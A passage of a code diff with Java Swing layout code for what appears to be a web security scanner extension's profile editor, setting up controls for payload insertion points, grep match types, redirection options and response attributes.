.addComponent(jLabel17, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jLabel10) + .addComponent(jLabel11)) + .addGap(18, 18, 18) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(extensionprovided) + .addComponent(header) + .addComponent(urlpathfilename) + .addComponent(entirebody) + .addComponent(paramxml) + .addComponent(All)) + .addGap(42, 42, 42) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(paramjson) + .addComponent(parambody) + .addComponent(paramcookie) + .addComponent(urlpathfolder) + .addComponent(paramamf) + .addComponent(paramxmlattr)) + .addGap(39, 39, 39) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(unknown) + .addComponent(parammultipartattr) + .addComponent(paramnamebody) + .addComponent(paramnameurl) + .addComponent(userprovided) + .addComponent(paramurl))) + .addGroup(jPanel10Layout.createSequentialGroup() + .addComponent(replace) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(append)))))) + .addComponent(jLabel5)) + .addContainerGap(15, Short.MAX_VALUE)))) + .addComponent(jSeparator2) + .addComponent(jSeparator4) + .addComponent(jSeparator3, javax.swing.GroupLayout.Alignment.TRAILING) + ); + jPanel10Layout.setVerticalGroup( + jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel5) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel19) + .addGap(25, 25, 25) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(textpayloads, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button3)) + .addGap(18, 18, 18) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createSequentialGroup() + .addComponent(button2) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button4) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button5)) + .addComponent(jScrollPane3, javax.swing.GroupLayout.PREFERRED_SIZE, 111, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(button6) + .addComponent(textfield1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator2, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel54) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel55) + .addGap(23, 23, 23) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel10) + .addComponent(append) + .addComponent(replace)) + .addGap(32, 32, 32) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createSequentialGroup() + .addComponent(jLabel11) + .addGap(154, 154, 154) + .addComponent(jLabel17, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(jSeparator4, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel52) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel53) + .addGap(18, 18, 18) + .addComponent(jLabel1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel20) + .addGap(18, 18, 18) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createSequentialGroup() + .addComponent(button19) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button18)) + .addComponent(jScrollPane14, javax.swing.GroupLayout.PREFERRED_SIZE, 119, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator3, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel22) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel23) + .addGap(25, 25, 25) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addGroup(jPanel10Layout.createSequentialGroup() + .addComponent(jButton9) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jButton8) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jButton7)) + .addComponent(jScrollPane4, javax.swing.GroupLayout.PREFERRED_SIZE, 99, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(combo2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jButton6)) + .addGap(19, 19, 19) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(check8) + .addComponent(text5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(paramamf) + .addComponent(parammultipartattr) + .addComponent(All)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(parambody) + .addComponent(paramnamebody) + .addComponent(urlpathfilename)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(extensionprovided) + .addComponent(paramcookie) + .addComponent(paramurl)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(header) + .addComponent(paramjson) + .addComponent(paramnameurl)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(entirebody) + .addComponent(urlpathfolder) + .addComponent(userprovided)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(paramxml) + .addComponent(paramxmlattr) + .addComponent(unknown)))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + jScrollPane5.setViewportView(jPanel10); + + headerstab.addTab(" Request ", jScrollPane5); + + jScrollPane6.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + jScrollPane6.getVerticalScrollBar().setUnitIncrement(20); + + jPanel11.setAutoscrolls(true); + + buttonGroup3.add(radio12); + radio12.setText("Payload"); + radio12.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radio12payloadMatchType(evt); + } + }); + + buttonGroup3.add(radio4); + radio4.setText("Simple string"); + radio4.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radio4stringMatchType(evt); + } + }); + + buttonGroup3.add(radio3); + radio3.setText("Regex"); + radio3.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radio3regexMatchType(evt); + } + }); + + buttonGroup3.add(radio22); + radio22.setText("Payload without encode"); + radio22.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radio22payloadencodeMatchType(evt); + } + }); + + check4.setText("Negative match"); + + check1.setText("Case sensitive"); + + excludehttp.setText("Exclude HTTP headers"); + + onlyhttp.setText("Only in HTTP headers"); + + check71.setText("Content type"); + + check72.setText("Status code"); + + negativeCT.setText("Negative match"); + + negativeRC.setText("Negative match"); + + jLabel16.setText("Seconds"); + + jLabel24.setText("You can define one or more greps. For each payload response, each grep will be searched with specific grep options."); + + jLabel25.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel25.setForeground(new java.awt.Color(255, 102, 51)); + jLabel25.setText("Grep"); + + jLabel26.setText("You can define grep type."); + + jLabel27.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel27.setForeground(new java.awt.Color(255, 102, 51)); + jLabel27.setText("Match Type"); + + jLabel28.setText("You can define how your profile handles redirections."); + + jLabel29.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel29.setForeground(new java.awt.Color(255, 102, 51)); + jLabel29.setText("Redirections"); + + jLabel30.setText("These settings can be used to specify grep options of your profile."); + + jLabel31.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel31.setForeground(new java.awt.Color(255, 102, 51)); + jLabel31.setText("Grep Options"); + + buttonGroup4.add(rb1); + rb1.setText("Never"); + + buttonGroup4.add(rb2); + rb2.setText("On-site only"); + + buttonGroup4.add(rb3); + rb3.setText("In-scope only"); + + buttonGroup4.add(rb4); + rb4.setText("Always"); + + jLabel2.setText("Max redirections:"); + + buttonGroup3.add(radiotime); + radiotime.setText("Timeout equal or more than "); + radiotime.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radiotimeTimeoutSelect(evt); + } + }); + + jLabel6.setText("Follow redirections: "); + + jLabel42.setText("Bytes"); + + buttonGroup3.add(radiocl); + radiocl.setText("Content Length difference"); + radiocl.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radioclSelect(evt); + } + }); + radiocl.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + radioclActionPerformed(evt); + } + }); + + buttonGroup3.add(variationsRadio); + variationsRadio.setText("Variations"); + variationsRadio.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + variationsRadiovariations(evt); + } + }); + + buttonGroup3.add(invariationsRadio); + invariationsRadio.setText("Invariations"); + invariationsRadio.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + invariationsRadioinvariations(evt); + } + }); + + Attributes.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Attributes", javax.swing.border.TitledBorder.CENTER, javax.swing.border.TitledBorder.TOP)); + + status_code.setText("status_code"); + + input_image_labels.setText("input_image_labels"); + + non_hidden_form_input_types.setText("non_hidden_form_input_types"); + + page_title.setText("page_title"); + + visible_text.setText("visible_text"); + + button_submit_labels.setText("button_submit_labels"); + + div_ids.setText("div_ids"); + + word_count.setText("word_count"); + + content_type.setText("content_type"); + + outbound_edge_tag_names.setText("outbound_edge_tag_names"); + + location.setText("location"); + + css_classes.setText("css_classes"); + + last_modified_header.setText("last_modified_header"); + + set_cookie_names.setText("set_cookie_names"); + + line_count.setText("line_count"); + + comments.setText("comments"); + + tag_ids.setText("tag_ids"); + + header_tags.setText("header_tags"); + + content_length.setText("content_length"); + + visible_word_count.setText("visible_word_count"); + + whole_body_content.setText("whole_body_content"); + + etag_header.setText("etag_header"); + + first_header_tag.setText("first_header_tag"); + + tag_names.setText("tag_names"); + + input_submit_labels.setText("input_submit_labels"); + + outbound_edge_count.setText("outbound_edge_count"); + + content_location.setText("content_location"); + + initial_body_content.setText("initial_body_content"); + + limited_body_content.setText("limited_body_content"); + + canonical_link.setText("canonical_link"); + + anchor_labels.setText("anchor_labels"); + + javax.swing.GroupLayout AttributesLayout = new javax.swing.GroupLayout(Attributes); + Attributes.setLayout(AttributesLayout); + AttributesLayout.setHorizontalGroup( + AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(AttributesLayout.createSequentialGroup() + .addContainerGap() + .addGroup(AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(page_title) + .addComponent(non_hidden_form_input_types) + .addComponent(input_image_labels) + .addComponent(status_code) + .addComponent(visible_text) + .addComponent(word_count) + .addComponent(div_ids) + .addComponent(button_submit_labels)) + .addGap(18, 18, 18) + .addGroup(AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(content_type) + .addComponent(outbound_edge_tag_names) + .addComponent(anchor_labels) + .addComponent(etag_header) + .addComponent(whole_body_content) + .addComponent(content_length) + .addComponent(visible_word_count) + .addComponent(header_tags)) + .addGap(18, 18, 18) + .addGroup(AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(input_submit_labels) + .addGroup(AttributesLayout.createSequentialGroup() + .addGroup(AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(tag_names) + .addComponent(first_header_tag) + .addComponent(set_cookie_names) + .addComponent(line_count) + .addComponent(comments) + .addComponent(tag_ids) + .addComponent(last_modified_header)) + .addGap(18, 18, 18) + .addGroup(AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(outbound_edge_count) + .addComponent(initial_body_content) + .addComponent(css_classes) + .addComponent(canonical_link) + .addComponent(limited_body_content) + .addComponent(content_location) + .addComponent(location)))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + AttributesLayout.setVerticalGroup( + AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(AttributesLayout.createSequentialGroup() + .addContainerGap() + .addGroup(AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(AttributesLayout.createSequentialGroup() + .addComponent(outbound_edge_count) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(initial_body_content) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(content_location) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(limited_body_content) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(canonical_link) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(css_classes) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(location) + .addGap(0, 0, Short.MAX_VALUE)) + .addGroup(AttributesLayout.createSequentialGroup() + .addGroup(AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(AttributesLayout.createSequentialGroup() + .addGroup(AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(AttributesLayout.createSequentialGroup() + .addComponent(content_type) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(outbound_edge_tag_names) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(anchor_labels) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(whole_body_content) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(etag_header)) + .addGroup(AttributesLayout.createSequentialGroup() + .addComponent(tag_ids) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(comments) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(line_count) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(set_cookie_names) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(last_modified_header))) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(AttributesLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(AttributesLayout.createSequentialGroup() + .addComponent(visible_word_count) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(content_length) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(header_tags)) + .addGroup(AttributesLayout.createSequentialGroup() + .addComponent(first_header_tag) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(tag_names) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(input_submit_labels)))) + .addGroup(AttributesLayout.createSequentialGroup() + .addComponent(status_code) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(input_image_labels) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(non_hidden_form_input_types) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(page_title) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(visible_text) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button_submit_labels) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(div_ids) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(word_count))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))) + ); + + table5.setFont(new java.awt.Font("Lucida Grande", 0, 13)); // NOI18N + table5.setModel(modelgrep); + table5.setShowGrid(false); + jScrollPane15.setViewportView(table5); + + button20.setText("Remove"); + button20.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button20removeMatchReplace(evt); + } + }); + + button10.setText("Clear"); + button10.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button10removeAllGrep(evt); + } + }); + + button7.setText("Paste"); + button7.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button7pasteGrep(evt); + } + }); + + button21.setText("Add"); + button21.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button21addGrep(evt); + } + }); + + button8.setText("Load File"); + button8.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button8loadGrep(evt); + } + }); + + javax.swing.GroupLayout jPanel11Layout = new javax.swing.GroupLayout(jPanel11); + jPanel11.setLayout(jPanel11Layout); + jPanel11Layout.setHorizontalGroup( + jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jSeparator5) + .addComponent(jSeparator6, javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addComponent(jSeparator12) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jSeparator11, javax.swing.GroupLayout.PREFERRED_SIZE, 846, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addComponent(radio12) + .addGap(151, 151, 151) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio22) + .addComponent(invariationsRadio))) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio4) + .addComponent(radio3)) + .addGap(116, 116, 116) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radiotime) + .addComponent(radiocl)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(texttime, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(textcl, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel16, javax.swing.GroupLayout.PREFERRED_SIZE, 62, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel42, javax.swing.GroupLayout.PREFERRED_SIZE, 62, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGap(20, 20, 20) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel6) + .addComponent(jLabel2)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(rb1) + .addComponent(rb2) + .addComponent(rb3) + .addComponent(rb4) + .addComponent(sp1, javax.swing.GroupLayout.PREFERRED_SIZE, 56, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel31) + .addComponent(jLabel30, javax.swing.GroupLayout.PREFERRED_SIZE, 769, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(onlyhttp) + .addComponent(check4) + .addComponent(check1) + .addComponent(excludehttp) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(check72) + .addComponent(check71)) + .addGap(15, 15, 15) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(text71, javax.swing.GroupLayout.DEFAULT_SIZE, 441, Short.MAX_VALUE) + .addComponent(text72)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(negativeCT) + .addComponent(negativeRC))) + .addComponent(jLabel29) + .addComponent(jLabel28, javax.swing.GroupLayout.PREFERRED_SIZE, 769, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel25) + .addComponent(jLabel24, javax.swing.GroupLayout.PREFERRED_SIZE, 769, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel27) + .addComponent(jLabel26, javax.swing.GroupLayout.PREFERRED_SIZE, 769, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(Attributes, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(variationsRadio))) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addComponent(button8, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(textgreps, javax.swing.GroupLayout.PREFERRED_SIZE, 662, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel11Layout.createSequentialGroup() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addComponent(button20, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button10, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(button7, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button21, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jScrollPane15, javax.swing.GroupLayout.PREFERRED_SIZE, 662, javax.swing.GroupLayout.PREFERRED_SIZE))))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel11Layout.setVerticalGroup( + jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel27) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel26) + .addGap(25, 25, 25) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addComponent(radio4) + .addGap(18, 18, 18) + .addComponent(radio3) + .addGap(18, 18, 18) + .addComponent(radio12)) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(radiotime) + .addComponent(texttime, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel16)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(radiocl) + .addComponent(jLabel42) + .addComponent(textcl, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(radio22))) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(variationsRadio) + .addComponent(invariationsRadio)) + .addGap(18, 18, 18) + .addComponent(Attributes, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jSeparator12) + .addComponent(jSeparator11)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel25) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel24) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(textgreps, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button8)) + .addGap(18, 18, Short.MAX_VALUE) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addComponent(button21) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button7) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button10) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button20)) + .addComponent(jScrollPane15, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator6, 